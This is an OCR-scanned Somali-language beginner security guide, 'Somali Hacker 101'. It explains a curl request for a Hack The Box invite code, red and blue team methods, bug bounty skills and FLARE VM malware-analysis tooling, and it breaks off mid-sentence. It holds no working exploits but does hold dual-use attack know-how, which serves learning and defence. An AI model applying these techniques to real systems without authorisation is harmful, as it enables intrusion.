Waxaa la joogaa waqtigii la fasixi lahaa farriinta aan hayno. Nuqul ka
koobnaada xogta oo ka raadi khadka tooska ah 'ROT13 decoder'.
Kiiskeyga, shaqgsiyan waxaan adeegsaday natiijada ugu horeysa ee

raadinta Google: https://cryptii.com/

Ku dhaji xogta sanduuga goraalka, oo dooro ROT 13 (AZ, a-z) ugu
dambeynna guji DECODE. Fiiro gaar ah: kaliya lagu dabagi karo
kelmadaha 'ROT 13' - Haddii Noocaaga Dejinta uu ahaa BASE64 ka raadi
khadka tooska ah decoder isku mid ah (In kastoo aan aad ugu boorinayo

https://www.base64decode.org/).

File Edit View Search Terminal Help

:~# curl -XPOST https://www.hackthebox.eu/api/invite/generate
{"success":1,"data":{"code" : "WFVTSU8tWIRIVUEtTUSDSUQtWFINWUUtT1hIQ0Q=","format":"encoded"},"0":200}

Marka waxa ku soo baxaya (In order to generate a valid Hack
The Box Invite Code, we have to make a POST request

t()/api/invite/generate.)

Kadib gali intan terminalka curl -xPOST https://www.hack-

thebox.eu/api/invite/generate


https://www.base64decode.org/
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Waxaan hadda haysannaa lambar casuumaad ah, laakiin waxaa jira soo-
gabasho, waa mid lagu kaydiyey. Aynu isku dayno inaan ka dhigno

innaga oo adeegsanaya https://www.base64decode.org/.

Ku dheji lambarka aad ka heshay natiijada POST ee sanduuqa qoraalka
oo ku dhufo DECODE. Waka !!

Decode from Base64 format
Simply use the form below

WFVTSUSWIRIVUEITUSDSUQIWFJNWUUTIhIQOQ=

For encoded binaries (irke images. documents, eic.) upload your data via the file decode form below.
UTF-8 ~ | Source charset

Live mode OFF Decodes in real-time when you type or paste (supports only unicode charsefs).

< DECODE > Decodes your data into ihe texiarea below.

XUSIO-ZTHUA-MNCID-XRMYE-NXHCD

¥ Other tools

Ugu dambeyntii, dib ugu noqo https://www.hackthebox.eu/invite oo

dhaji Code Martigaad aad ka heshay sanduuqa qoraalka 0o guji sign up.
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Sida loo gu shagaysto hacking

Hadaba waxan eegayna sida loo gu shageey cilmiga ethical hacking
anakoo , ha wagan danbe shirkaduhu si aay uga hor tagan hacking waxay

la shageeyan hackers ga hadaba aan eegno gqababka kala duwan

Kooxaha casaanka iyo buluugga ayaa ka badan tixraacyada Halo iyo
farsamooyinka ciidanka. Xaqgiiqdii, kooxahani waxay door muhiim ah ka
ciyaaraan difaaca weerarada internetka ee horumarsan ee halista ku ah

isgaarsiinta ganacsiga, xogta macmiilka xasaasiga ah, ama sirta ganacsiga.

REDTEAM ‘vs  BLUETEAM

WHO THEY ARE THEIR MISSION : WHO THEY ARE THEIR MISSION
’70urpenetration testers—‘ |7Ident‘|fy vulnerabill'ties—| ’V Our safety patrol for—| |7Detect and prevent,—‘
¢ s

who hack & attack & exploits the common good test security control
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Kooxaha Red waa xirfadlayaal amni xumo oo khabiir ku ah nidaamka
weerarada iyo jabinta difaaca. Kooxaha buluuga ah waa xirfadlayaal amni
oo difaac ah oo mas'uul ka ah ilaalinta shabakadaha gudaha ee kahortaga
dhammaan weerarada internetka iyo hanjabaadaha. Kooxaha cas waxay
isku ekaysiinayaan weerarada ka dhanka ah kooxaha buluuga ah si ay u
tijaabiyaan waxtarka amniga shabakada. Layligani kooxdan casaanka iyo
buluugga ahi waxay bixiyaan xal nabadgelyo oo dhammaystiran oo lagu

hubinayo difaac adag iyadoo la ilaalinayo hanjabaadaha isbeddelaya.

Waa maxay Kooxda Cas?

Kooxda casaanka waxay ka kooban tahay xirfadlayaal xagga amniga ah oo
u dhagma sidii cadaawad si ay uga adkaadaan kontaroolada amniga
internetka. Kooxaha cas waxay badanaa ka kooban yihiin khawaarijiin

anshax madaxbanaan oo giimeeya amniga nidaamka si ujeedo leh.

Waxay u adeegsadaan dhammaan farsamooyinka la heli karo (hoos looga
hadlay) si loo helo daciifnimo xagga dadka ah, geeddi-socodka, iyo
tikniyoolajiyadda si ay ugu helaan marin aan sharciyeysnayn hantida.
Natiijo ahaan weeraradan loo ekeysiiyey, kooxaha cas waxay sameeyaan
talooyin iyo qorshooyin ku saabsan sidii loo xoojin lahaa habsami u

socodka amniga urur.



_ Somali Hacker 101

Sidee Kooxda Cas Cas u shagaysaa?

Waad la yaabi kartaa inaad barato (sidii aan ahaa oo kale) in kooxaha
casaanka ay waqti badan ku gaataan gorshaynta weerar markaa ay
fulinayaan weeraro. Xaqiiqdii, kooxaha gaduudku waxay gaystaan habab

fara badan si ay ugu helaan shabakad.

Weerarada injineernimada bulshada, tusaale ahaan, waxay ku tiirsan
yihiin sahan iyo cilmi baaris si loo gaarsiiyo ololeyaal waran cadeynaya
waran. Sidoo kale, kahor intaadan sameynin baaritaanka gelitaanka,
uriyaasha baakadaha iyo falanqeeyayaasha borotokoolka waxaa loo
isticmaalaa in lagu baaro shabakada lagana soo ururiyo macluumaadka

ugu badan ee ku saabsan nidaamka sida ugu macquulsan.

Marka kooxda casaanka ahi ay fikrad buuxda ka haystaan nidaamka
waxay soosaaraan qorshe hawleed loogu talagalay in lagu
bartiimaameedsado jilicsanaanta gaarka u ah macluumaadka ay kor ku

SO0 ururiyeen.
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Tusaale ahaan, xubin ka mid ah kooxda cas ayaa laga yaabaa inuu ogaado
in server uu wado Microsoft Windows Server 2016 R2 (oo ah nidaam ku
shageynaya server) iyo in siyaasadaha aasaasiga ah ee domainka wali la

isticmaali karo.

Tusaalooyinka Jimicsiyada Kooxda Cas

Kooxaha cas waxay adeegsadaan habab iyo galab kala duwan si ay uga
faa'iideystaan daciifnimada iyo u nuglaanta shabakadda. Waxaa muhiim
ah in la ogaado in kooxaha gaduudan ay isticmaali doonaan macno kasta
oo lagama maarmaan ah, shuruudaha kageybgalka, si ay ugu jabsadaan
nidaamkaaga. Waxay kuxirantahay u nuglaanta waxay kudajin karaan
furin si ay ufeegaan martida ama xitaa udhaafaan kontaroolada amaanka

jireed iyagoo adeegsanaya kaararka marinka.

Jimicsiyada kooxda casaanka waxaa ka mid ah:

e Tijaabinta Penetration, oo sidoo kale loo yagaan jabsiga anshaxa,
waa halka tijaabiyaha uu isku dayo inuu helo marin nidaam, inta
badanna adeegsado qalabka softiweerka. Tusaale ahaan, ‘John the
Ripper’ waa barnaamij sirta jabinaya. Waxay ogaan kartaa nooca
sirta loo adeegsaday, iskuna day inaad dhaafto.

e Injineernimada bulshada ayaa ah meesha Kooxda Red ay isku

dayaan inay ku ganciyaan ama ku khiyaaneeyaan xubnaha
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shagaalaha si ay u soo bandhigaan agoonsigooda ama ay ugu
oggolaadaan helitaanka aag xaddidan.

e Phishing waxay u baahan tahay dirista emayllada sida muuqgata u
run ah ee xubnaha shaqgaalaha ku kallifa inay gaadaan
tallaabooyinka gaarkood, sida gelitaanka bogga internetka ee
jabsiga iyo gelitaanka agoonsiyada.

e Dhexgalka galabka softiweerka isgaarsiinta sida urta baakadaha iyo
falanqeeyeyaasha borotokoolka ayaa loo isticmaali karaa in lagu
muujiyo shabakad, ama la akhriyo farriimaha lagu diro qoraalka
cad. Ujeedada galabkan ayaa ah in macluumaad looga helo
nidaamka. Tusaale ahaan, haddii weeraryahan ogyahay in server
uu ku shageynayo nidaamka hawlgalka ee Microsoft markaa waxay
diiradda saari lahaayeen weerarradooda si looga faa'iideysto
jilicsanaanta Microsoft.

e Kaadh xidhka kaarka amniga ee shaqgaalaha si loogu oggolaado

gelitaanka meelaha aan xaddidnayn, sida golka adeegga.

Waa Maxay Kooxda Buluuga ah?

Koox buluug ah waxay ka kooban yihiin xirfadlayaal xagga amniga ah oo
aragti gudaha ururka ka baxsan. Shagadoodu waa inay ka ilaaliyaan

hantida muhiimka u ah ururka nooc kasta oo khatar ah.
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Waxay si fiican uga wargabaan ujeedooyinka ganacsiga iyo
istiraatiijiyadda amniga ee ururka. Sidaa darteed, howshoodu waa inay
xoo0jiyaan darbiyada galcadda si uusan ugu soo xadgudbin wax u

dhimaya difaaca.

Sidee Koxda Buluuga ahi u shagaysaa?

Kooxda buluugga ah ayaa marka hore soo uruuriya xogta, si sax ah u
diiwaangeliya waxa loo baahan yahay in la ilaaliyo waxayna fuliyaan
giimeynta halista. Kadib waxay adkeeyaan marin u helka nidaamka
siyaabo badan, oo ay ka mid yihiin soo bandhigida siyaasadaha sirta oo
adag iyo wacyigelinta shagaalaha si loo hubiyo inay fahmayaan oo ay la

jaan gaadayaan nidaamka amniga.

Qalabka kormeerka ayaa badanaa la dhigaa, taas oo u oggolaanaysa
macluumaadka ku saabsan marin u helka nidaamyada in la diiwaan
geliyo oo laga hubiyo waxgabadyo aan caadi ahayn. Kooxaha buluuga ah
waxay ku sameyn doonaan baaritaano joogto ah nidaamka, tusaale
ahaan, xisaabaadka DNS, baaritaanada nuglaanta shabakada gudaha

ama dibada iyo soo gabashada taraafikada shabaqga falangeynta.

Kooxaha buluugga ah waa inay dejiyaan tallaabooyin amni oo ku saabsan
hantida muhiimka ah ee urur. Waxay bilaabaan gorshahooda difaaca

iyaga 0o agoonsanaya hantida muhiimka ah, diiwaangelinaya
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muhiimadda ay hantidan u leedahay ganacsiga iyo saameynta

magqnaanshaha hantidan ay yeelan doonto.

Kooxaha buluuga ah ayaa markaa sameeya giimeynta halista iyaga oo
cadeynaya hanjabaadaha loo haysto hanti kasta iyo daciifnimada
hanjabaadahaasi ay ka faa’iideysan karaan. lyadoo la giimeynayo halista
iyo mudnaanta la siinayo, kooxda buluugga ah waxay soosaartay qorshe
howleed lagu hirgelinayo kontaroollada hoos u dhigi kara saameynta

ama suurtagalnimada hanjabaadaha ka dhasha hantida.

Kageybgalka maamulka waayeelka ayaa muhiim u ah marxaladan
maadaama iyaga kaliya ay go'aansan karaan inay agbalaan halista ama
ay hirgeliyaan xakamaynta xakamaynta ka dhanka ah. Xulashada
kontaroolada badiyaa waxay ku saleysan tahay falanqaynta kharashka-

faa'iidada si loo hubiyo in kontaroolada amniga ay u keenaan giimaha

ugu badan ganacsiga.

Tusaale ahaan, koox buluug ah ayaa laga yaabaa inay agoonsadaan in
shabakadda shirkadda ay u nugul tahay weerarka DDoS (diidmada
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adeegga ee loo gaybiyey). Weerarkani wuxuu yareynayaa helitaanka
shabakadda adeegsadayaasha sharciga ah iyagoo u diraya codsiyada
taraafikada ee aan dhameystirneyn serverka. Mid kasta oo ka mid ah
codsiyadaan waxay u baahan yihiin ilo si loo fuliyo ficil, waana sababta

uu weerarka si xun u curyaamiyay shabakad.

Kooxda ayaa markaa xisaabisa khasaaraha haddii ay hanjabaad dhacdo.
lyada oo ku saleysan falangaynta kharashka-faa'iidada iyo la jaangaadida
ujeedooyinka ganacsiga, koox buluug ah ayaa ka fiirsan doonta rakibidda
ogaanshaha soo gelitaanka iyo nidaamka ka hortagga si loo yareeyo

halista weerarada DDoS.

Tusaalooyinka Jimicsiyada Kooxda Buluugga ah

Kooxaha buluuga ah waxay adeegsadaan habab iyo aalado kaladuwan oo
kahortag ah si shabakad looga ilaaliyo weerarada internetka. Waxay
kuxirantahay xaalada kooxda buluuga ah waxay go'aansan karaan in
gidaarada dheeraadka ah ee loo baahan yahay in la rakibo si loo
xakameeyo marinka shabakada gudaha. Ama, khatarta weerarrada
injineernimada bulshada ayaa ah mid aad u muhiim ah oo ay ku
bixinayso kharashka fulinta shirkadda tababarka wacyigelinta amniga ee
shirkadda oo dhan.
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Tusaalooyinka leyliska kooxda buluugga ah waxaa ka mid ah:

e Sameynta xisaabaadka DNS (magaca magac domain) si looga
hortago weerarada phishing, iska ilaali arrimaha DNS ee gallafsan,
iska ilaali hoos u dhigista ka-tirtirka diiwaanka DNS, iyo ka-hortagga
/ yareynta weerarada DNS iyo websaydhka.

e Samaynta falangaynta raad-raaca dhijitaalka ah si loola socdo
dhaqdhaqgaaqa isticmaalayaasha iyo in la agoonsado saxeex kasta
oo la yagaan oo muujin kara jebinta amniga.

e Ku rakibidda softiweerka amniga dhamaadka galabka
kombiyuutarada gacanta iyo kuwa casriga ah.

e Hubinta kontoroollada marin u helidda darbiga si habboon ayaa loo
gaabeeyey iyo in barnaamijka ka hortagga fayraska la
cusbooneysiiyo

e Keenista barnaamijka IDS iyo barnaamijka IPS sidii dambi baare iyo
kahortaga amniga.

e Hirgelinta xalalka SIEM si loogu goro loona ligo waxgabadka
shabakadda.

e Falangaynta diiwaanada iyo xusuusta si looga soo gaado waxgabad
aan caadi ahayn nidaamka, loona agoonsado loona tilmaamo
weerarka.

e Kala soocida shabakadaha oo hubi in si sax ah loo gaabeeyey.

e U adeegsiga barnaamijka iskaanka nuglaanta si joogto ah.

e Hubinta nidaamyada adoo adeegsanaya antivirus ama software
anti-malware.

e Dhejinta amniga geedi socodka.
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Purple team

Purple waa fikirka iskaashi ee u dhexeeya weeraryahanada iyo

difaacayaasha ka shageeya isla dhinac. Sidan oo kale, waa in laga

fakaraa inay tahay waxgabad halkii laga ahaan lahaa koox heegan ah.

Ujeedada runta ah ee Kooxda Cas ayaa ah in la helo habab lagu
wanaajiyo Kooxda Buluugga ah, sidaas darteed Kooxaha Purple waa in
aan looga baahnayn ururada ay isdhexgalka Kooxda Red / Blue Team

uu caafimaad qabo oo si sax ah ugu shageynayo.

Adeegsiga ugu fiican erayga aan soo arkay waa halka koox kasta oo
aan aqoon u lahayn farsamooyinka weerarka ay rabaan inay wax ka
bartaan sida ay weeraryahannadu u fikiraan. Taasi waxay nogon
kartaa koox ka jawaab celisa dhacdo, koox baaris, koox horumarineed

— wax kastoo ay tahayba. Haddii ragga wanaagsan ay isku dayayaan
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inay wax ka bartaan khayaanada loo yagaan 'whitehat hackers', taasi

waxaa loo gaadan karaa layli koox Purple ah.

Bug Bounty Hunter

Ugaarsadayaasha abaalmarinta cayayaanka waa shakhsiyaad yagaana
lowska iyo boolal amniga internetka ah isla markaana aqoon fiican u leh
raadinta cilladaha iyo dayacanka. Waxaa jira barnaamijyo badan oo
loogu talagalay abaalmarinta cayayaanka kuwaas oo u oggolaanaya iyaga
in lacag la siiyo si ay ugu helaan nuglaansho barnaamijyada iyo

barnaamijyada.

Sidee loo nogdaa ugaarsade manfaca cayayaanka?

Xaqiiqdii kahor intaanad ka helin cilladaha gaabab kasta waxaad u
baahan tahay inaad fahanto sida codsiyada websaydhka u shageeyaan
iyo fahamka dhismaha barnaamijyadan Fahamka adag ee aasaasiga gaar
ka mid ah shabakadaha, xogta SQL, xogta websaydhka sida HTML, CSS,
php iyo Javascript waxay kordhin doontaa fursadda falangaynta
nuglaanta gaarkood laakiin maahan inaad khabiir ku ahaato

dhammaantood.
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Sidoo kale haddii aad waxoogaa aqoon ah u leedahay barnaamijka loo
yagaan 'Python’, waxay noqon doontaa giime dheeraad ah oo aad ku
abuureyso galab kuu gaar ah oo kaa caawin doona inaad gaarto hadaf
gaar ah oo aaladaha kale aysan kuu sameyn doonin.

/

Xirfadaha looga baahan yahay inay nogdaan

ugaarsade ku guuleysta cayayaanka

Qaar ka mid ah meelaha muhiimka ah ee diiradda la saarayo ee qayb ka
ah OWASP Top 10 kuwaas oo ah:

Xog ururin

Cirbadda SQL

Qoraalka Ka-Gudubka Goobta (XSS)
Foomka Been Abuurka ee Adeegga (SSRF)
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¢ Ka mid noqoshada deegaanka & Fog fog
e Bixinta Macluumaadka
e Fulinta Code Remote (RCE)

Malware Analysis

Malware analysis waa habka fahamka dabeecadda iyo ujeeddada feyl
ama URL laga shakiyo. Soo saarida falangaynta waxay caawineysaa

ogaanshaha iyo yareynta halista ka imaan karta.

Faa'iidada ugu muhiimsan ee falangaynta khayaanada ayaa ah inay ka

caawiso ka jawaab celinta dhacdooyinka iyo falanqgeeyayaasha amniga:

Dhacdooyinka Pragmatically kala soocista heerka darnaanta

Soo bandhig tilmaamayaasha garsoon ee tanaasulka (I0Cs) ee ay tahay

in la xakameeyo
Hagaajinta waxtarka digniinta iyo ogeysiisyada I0OC

Kobci macnaha guud marka ugaarsiga hanjabaadda ah
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Types of Malware Analysis

Falangaynta waxaa loogaadan karaa gaab taagan, firfircoon ama isku
dhafan labada.

Static Analysis

Falangaynta aasaasiga ah ee aasaasiga ahi uma baahna in koodhku dhab
ahaantii socdo. Taabadalkeed, falangaynta ma guurtada ah waxay fiirisaa
feylka calaamadaha ujeedo xun. Waxay noqon kartaa mid waxtar leh in

la agoonsado kaabayaasha xun, maktabadaha ama faylalka la soo raray.

Tilmaamayaasha farsamada ayaa loo aqoonsaday sida magacyada faylka,
xashiishka, xadhkaha sida cinwaanada IP-ga, cinwaanada, iyo xogta
cinwaanka faylka ayaa loo isticmaali karaa si loo go'aamiyo in faylkaasi
yahay mid xun. Intaa waxaa dheer, aaladaha sida kuwa wax kala sooca
iyo kuwa shabakadaha falangeeya ayaa loo isticmaali karaa in lagu
fiirsado khayaanada iyada oo aan si dhab ah loo socodsiinin si loo soo

ururiyo macluumaadka ku saabsan sida ay u shageyneyso khayaanada.

Si kastaba ha nogotee, maaddaama falangaynta ma guurtada ah aysan
run ahaantii shageyneynin koodhka, khayaanada casriga ah waxaa ku jiri
kara dabeecad xun oo wagti-socod ah oo aan la ogaan karin. Tusaale

ahaan, haddii feyl uu soo saaro xarig ka dibna soo dejiyo feyl xun oo ku
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saleysan xarigga firfircoon, waxaa lagu ogaan karaa falangeyn aasaasi ah
00 asaasi ah. Shirkaduhu waxay u weecdeen falanqgaynta firfircoon ee

faham dhammaystiran oo ku saabsan habdhaqganka faylka.

Dynamic Analysis

Falangaynta xasaasiga ah ee kufsiga ayaa ku fulisa koodh looga shakisan
yahay xumaan jawi nabdoon oo loo yagaan sanduuga ciidda. Nidaamkan
xiran wuxuu awood u siinayaa xirfadlayaasha amniga inay daawadaan
khayaanada ficil ahaan iyadoon halista u ogolaan inay ku dhacdo

nidaamkooda ama ay ku baxsadaan shabakada ganacsiga.

Falangaynta firfircoon waxay siisaa ugaarsadayaasha halista ah iyo kuwa
ka jawaab celiya dhacdooyinka aragti qoto dheer, iyaga oo u
oggolaanaya inay soo bandhigaan nooca dhabta ah ee hanjabaadda.
Faa'iido labaad ahaan, sanduuqa sandbox-ka ee otomaatigga ah wuxuu
baabi'inayaa waqtiga ay gaadaneyso in dib loo rogo injineerka feyl si loo

ogaado nambarka xun.

Caqgabada la socota falangaynta firfircoon ayaa ah in kuwa ka soo
horjeedaa ay cagli leeyihiin, oo ay og yihiin in sanduugyada ciiddu ay
jiraan, sidaa darteedna ay aad ugu fiicnaadeen soo ogaanshahooda. Si

loo khiyaaneeyo sanduuga ciidda, cadowgu wuxuu ku garinayaa koodh
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el Hybrid Analysis

HYERID Falanqaynta aasaasiga ah ee

%ﬁi ' aasaasiga ahi maaha hab lagu

kalsoonaan karo oo lagu ogaan

karo koodh casriyeysan oo
xumaan leh, iyo kharribaadda casriga ahi mararka gaarkood way ka
dhuuman kartaa joogitaanka teknolojiyadda sandbox Marka la isku daro
farsamooyinka falangaynta aasaasiga ah iyo kuwa firfircoon, falangaynta
isku dhafan waxay siisaa kooxda amniga sida ugu fiican ee labada wajiba
- si gaar ah maxaa yeelay waxay ogaan kartaa koodh xun oo isku dayaya
inuu gariyo, ka dibna wuxuu soo saari karaa tilmaamayaal badan oo ka
mid ah tanaasulka (I0Cs) iyadoo la adeegsanayo koodh ahaan iyo kii
horeba . Falangaynta isku dhafan waxay gacan ka geysaneysaa
ogaanshaha hanjabaadaha aan la garanayn, xitaa kuwa ka imanaya

khayaanada ugu casrisan.

Tusaale ahaan, mid ka mid ah waxyaabaha falanqaynta isku-dhafan ay
sameyso ayaa lagu dabaqgayaa falangeyn joogto ah oo ku saabsan xogta
laga soo saaray falangaynta habdhaqganka - sida marka geyb ka mid ah
koodhka xaasidnimada ah uu socdo 0o uu soo saaro xoogaa isbeddello
ah oo ku saabsan xusuusta. Falanqaynta firfircoon ayaa ogaan doonta

taas, falanqeeyayaashana waxaa lagu wargalin doonaa inay dib u
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wareegaan 00 ay sameeyaan falangeyn aasaasi ah oo ku saabsan
xusuustaas. Natiija ahaan, I0Cs badan ayaa la soo saari doonaa oo looga

faa'iideysan doonaa eber-maalin.

Sida loo samaysto degan lagu soo gabto
malwares ga

Waxaa lagaa filayaa inaad haysatid rakibid horey ujirta Windows 7 ama
wixii ka sareeya. Tani waxay kuu oggolaaneysaa inaad doorato nooca
Windows-ka saxda ah, heerka balastarka, nagshadaha iyo jawiga ku

habboon naftaada.

Markaad hesho tan la heli karo, waxaad si deg deg ah u geyn kartaa
deegaanka FLARE VM adoo booganaya cinwaanka soo socda ee Internet

Explorer (daalacayaasha kale ma shageyn doonaan)

http://boxstarter.org/package/url?https://raw.githubusercontent.com/fi

reeye/flare-vm/master/flarevm_malware.psi

Ka dib markaad u gudubto URL-ka kor ku xusan ee Internet Explorer,
waxaa laguu soo bandhigi doonaa wadahadal Boxstarter WebLauncher

ah. Dooro Run si aad u sii wadatid rakibidda sida ku cad sawirka



_ Somali Hacker 101

© New Tab - Windows Internet Explorer

@] http://boxstarter.org/package/url?https://github.com/fireeye ¥ | 2 | X Bing L >

Kadib rakibaadda

guuleysta ee Boxstarter

7o - SEvTAT

Eauacit R
e Application Run - Security Warning

" Publisher cannot be verified.
Are you sure you want to run this application?

WebLauncher, waxaa

Name: Boxstarter.WebLaunch

From:

boxstarter.org

laguu soo bandhigi

Publisher:

Unknown Publisher

Lot fun

“A @ While applications from the Internet can be useful, they can potentially harm your computer. If
you do not trust the source, do not run this software. More Information

doonaa daaqgad konsol iyo

hal dheere oo dheeri ah si

aad u geliso lambarkaaga

]

sirta ah ee Windows sida
ku cad Jaantuska 2aad. Furahaaga Windows-ka ayaa lagamamaarmaan u
ah inaad dib u bilowdo mashiinka dhowr jeer inta lagu guda jiro rakibida

adiga oo aan kugu kallifin inaad gasho meel kasta wagqtiga.

Boxstarter may need to reboot your system.
Please provide your password so that Boxstarter may automatically log you on.

Your password will be securely stored and encrypted.
Autologon Password: =

Nidaamka intiisa kale si buuxda ayaa otomaatig u ah, marka naftaada u
diyaari koob kafee ah ama shaah ah. Waxay kuxirantahay xawaaraha isku
xirkaaga, rakibida hore waxay qaadataa 30-40 daqiiqo. Mashiinkaagu
sidoo kale wuxuu dib u bilaabi doonaa dhowr jeer sababtoo ah
shuruudaha rakibidda badan ee software. Inta lagu guda jiro hawsha

dejinta, waxaad arki doontaa buuga rakibaadda tiro xirmooyin ah.

Marka rakibida la dhammeeyo, waxaa si weyn loogu talinayaa in loo
beddelo aaladaha isku xirka Mashiinka Virtual-ka loo yagaan 'Host-Only'

si sheybaarada khaldan si kama 'ah ugu xirmaan internetka ama
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shabakadda maxalliga ah. Sidoo kale, gaado shaashad mashiin dalwaddo
cusub ah si xaaladdan nadiifka ah loo badbaadiyo! Rakibidda ugu

dambeysa ee FLARE VM waa inay u ekaato Jaantus.

E’

Recycle Bin

Il

README.txt

FIIRO GAAR AH: Haddii aad la kulanto tiro badan oo fariimo qalad ah,
iskuday inaad si fudud dib ugu bilowdo rakibida. Dhammaan
xirmooyinka jira waa la keydin doonaa 0o xirmooyinka cusub ayaa la
rakibayaa.

Qaabeynta VM iyo aaladaha lagu daray waxaa soo saaray ama si
taxaddar leh u soo xushay xubnaha kooxda FLARE oo iyagu soo rogay
khayaanada injineernimada, falangeynaya ka faa'iideysiga iyo dayacanka,
iyo barashada fasalo falangaynta furin in ka badan toban sano.
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Dhammaan galabka waxaa lagu abaabulaa gaabdhismeedka galka lagu
muujiyay Jaantuska.

—

&

Recycle Bin

E e
s

U@v| « Start Menu » Programs » FLARE » '|'f” Search FLARE

Organize ~ Include in library ~ Share with ~ New folder e - O 9

Debuggers Hex Editors
Libraries Delphi v

- Documents Disassemblers Net

4. Music dotNET Utilities
&L Pictures

& videos

[ TEE B % % &% 33 5 ~ D [

In kasta oo aan isku dayeyno inaan ka dhigno aalado loo heli karo gaab
toobiye ah faylka FLARE, waxaa jira dhowr laga heli karo khadadka-
keliya. Fadlan ka fiiri dukumiintiyada khadka tooska ah
http://flarevm.info si aad u hesho liiska ugu dambeeyay.

Si si fiican loo muujiyo sida FLARE VM ay gacan uga geysan karto
howlaha falangaynta khayaanada aan ku sameyno falangeyn aasaasi ah
mid ka mid ah shay-baarka aan u isticmaalno Koorsadeena Falangaynta
Malware.

Marka hore, aan helno tilmaamayaal aasaasi ah adoo eegaya xadhkaha
ku jira binary. Layligan, waxaan ku socon doonnaa qgalab 'FLARE' oo u
gaar ah galabka loo yagaan 'FLOSS', oo ah xarig danab ku leh steroids.
Booqo http://flosseveryday.info si aad u hesho macluumaad dheeraad
ah oo ku saabsan aaladda. Waad bilaabi kartaa adoo gujinaya astaanta
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FLOSS ee ku taal bar-tilmaameedka isla markaana ka soo horjeeda
shaybaarka sida lagu muujiyey Jaantuska.

level32.exe C:\Users\user\Desktop>floss --version
floss 1.5.0
https://github.com/fireeye/flare-floss/

C:\Users\user\Desktop>floss leuvel32.exe > leuel32_strings.txt

O | X % % 3 a3 o s

Nasiib darrose, inaad fiiriso xadhkaha ka dhasha Jaantuska 6 kaliya hal
xadhig ayaa runti taagan oo ma cadda sida loo adeegsado.
R (5] C\Users\user\Desktop\level32_strings.txt - Sublime Text (UNREGISTERED)

E'II
File Edit Selection Find View Goto Tools Project Preferences Help

E ol level32 strings.txt

level32.exe B 128 <Xt
129 u,%u
136 v N+D$
131 _~ [3
132 | levell_payload.exe
133 EnumProcesses

134  GetModuleBaseNameA

FLOSS

level32_strin... 135 psapi.dll =
£ Line 126, Column 8 Tab Size: 4 Plain Text

Aynu wax yar ka sii godno binary iyada oo la furayo CFF Explorer si loo
falangeeyo soo dejinta muunadda, ilaha, iyo gaab-dhismeedka madax
madaxeedka 'PE'. CFF Explorer iyo koronto dhowr ah ayaa laga heli karaa
galka FLARE oo laga heli karo Desktop ama Start menu sida lagu
muujiyey Jaantuska 7.
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& (=]} = Programaps FLARE » Utilties [ 42|[ search

Organize > Include in library ~ Share with ~ New folder

N #® CFF Explorer | @S regshot

- Libraries 0 die #® spystudio
- Documents M exeinfope @ sysinternals
< Music m FLOSS ## Task Explorer x64
5, Pictures Ehashcalc #m Task Explorer
§ videos #4 offvis
# PE Detective
#dy Homegroup E peid
g‘/ peview
Y procexp
&7 procmon

& Computer

@ Network
16 items

Blojoma % % &% 3Dy ~ <N

Intii lagu falangeynayay cinwaanka PE, waxaa jiray dhowr tilmaam oo
muujinaya in binaryku ku jiro shey khayraad leh oo leh culeys dheeraad
ah. Tusaale ahaan, Jadwalka Cinwaanka Soo Dejinta waxaa ku jira
wicitaano ku habboon Windows API sida LoadResource, FindResource
iyo ugu dambeyn WinExec. Nasiib darrose, sida aad ku arki karto
Jaantuska 8aad xaddiga lacag bixinta ee "BIN" waxaa ku jira gashin sidaa
darteed waxay u egtahay in la qariyey.

w’ CFF Explorer VIII - [level32.exe] lil\ﬂ/\é/

File Settings ?

ociae X
H @ =16 "BIN"
: B ®
EFile: level32.exe = Configurati
Offset | 0 1 2 3
[— @ Dos Header 00000000 | CD DA 10
00000010 [ 38 80 80
Nt Headers 00000020 [ 80 80 80
@ File Header 00000030 [ 80 80 80
00000040 | BE 9F 34
Optional Header 00000050 | E9 F3 &0
00000060 [ F4 a0 E2
& Data Directories [x] 00000070 | ED EF E4
— & Section Headers [x] 33333333 Zf 23 ;;
I 00000040 [ F5 E9 sk
Calmport Directory 000000B0 | 11 20 39
I 000000C0 [ D2 3 E3
= Resource Directory 00000000 | 80 80 80
— “Address Converter ggggggf_g gg gg gg
|— % Dependency Walker 00000100 [ 80 DO 80
) onooatio [ o 30 80
— % Hex Editor 00000120 | 84 80 B8O
N - 00000130 [ 80 a0 81
— “ Identifier 00000140 | 80 80 90
% mpor Addor i 202
|— %, Quick Di 00000170 [ 80 80 80
% Quick Disassembler on0o0ten | 50 80 80
— &, i 00000190 [ 80 80 80
3 Rebuilder 00000140 [ 80 80 80
[— % Resource Editor 0DD001EO | 80 80 80
- 000001Co [ 80 80 80
— 4, UPX Utility 00000100 | 80 80 80

000001ED | C4 15 80
000001FD | B0 80 80
00000200 | AE F2 E4

4 L3 LI

O m &5 =2 % % % 3 3 2

3 Y
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Waqtigan xaadirka ah, waan sii wadi karnaa falangaynta ma guurtada ah
ama waan khiyaami karnaa xoogaa annagoo u wareejinayna
farsamooyinka falangaynta firfircoon ee aasaasiga ah. Aynu isku dayno
inaan si dhakhso leh u soo uruurinno tilmaamayaasha aasaasiga ah adoo
adeegsanaya galab kale oo FLARE ah oo la yiraahdo FakeNet-NG.
FakeNet-NG waa aalad ku dayasho isgaarsiin shabakad firfircoon oo
khiyaameysa fure si ay u muujiso shagadeeda shabakad iyadoo u soo
bandhigeysa adeegyo been abuur ah sida DNS, HTTP, FTP, IRC iyo kuwo
kale oo badan. Fadlan booqo http://fakenet.info wixii macluumaad
dheeraad ah ee ku saabsan aaladda.

Sidoo kale, aan ka bilowno Procmon Sysinternals Suite si aan ula socono
dhammaan Faylka, Diiwaanka iyo waxgabadka Windows API sidoo kale.

Waxaad ka heli kartaa labadan galab ee sida joogtada ah loo isticmaalo

ee ku yaal bar-tilmaameedka lagu muujiyey sawirka 9.

|4
FN Administrator: FakeNet-NG
=

Recycle Bin

I |

Version 1.1

Developed by
Peter Kacherginsky and Michael Bailey
FLARE (FireEye Labs Advanced Reverse Engineering)

Usage: fakenet.py [options]:

level32.exe options:
-h, --help show this help message and exit
-¢ FILE, --config-file=FILE
configuration filename

-u, --verbose print more verbose messages.
-1 LOG_FILE, --log-file=LOG_FILE

C:\Users\user\Desktop>fakenet
level32_strin...

e - o ma [ x %% 33 y|z~] 2SN

Ka dib markii aan ku fulinay muunada mudnaanta Maamulaha, waxaan
si dhakhso leh u helnaa shabakado heer sare ah iyo tilmaamayaal
martigelin ku saleysan. Jaantuska 10 wuxuu muujinayaa FakeNet-NG oo
ka jawaabaya isku dayga khayaanada ee ah inuu kula xiriiro
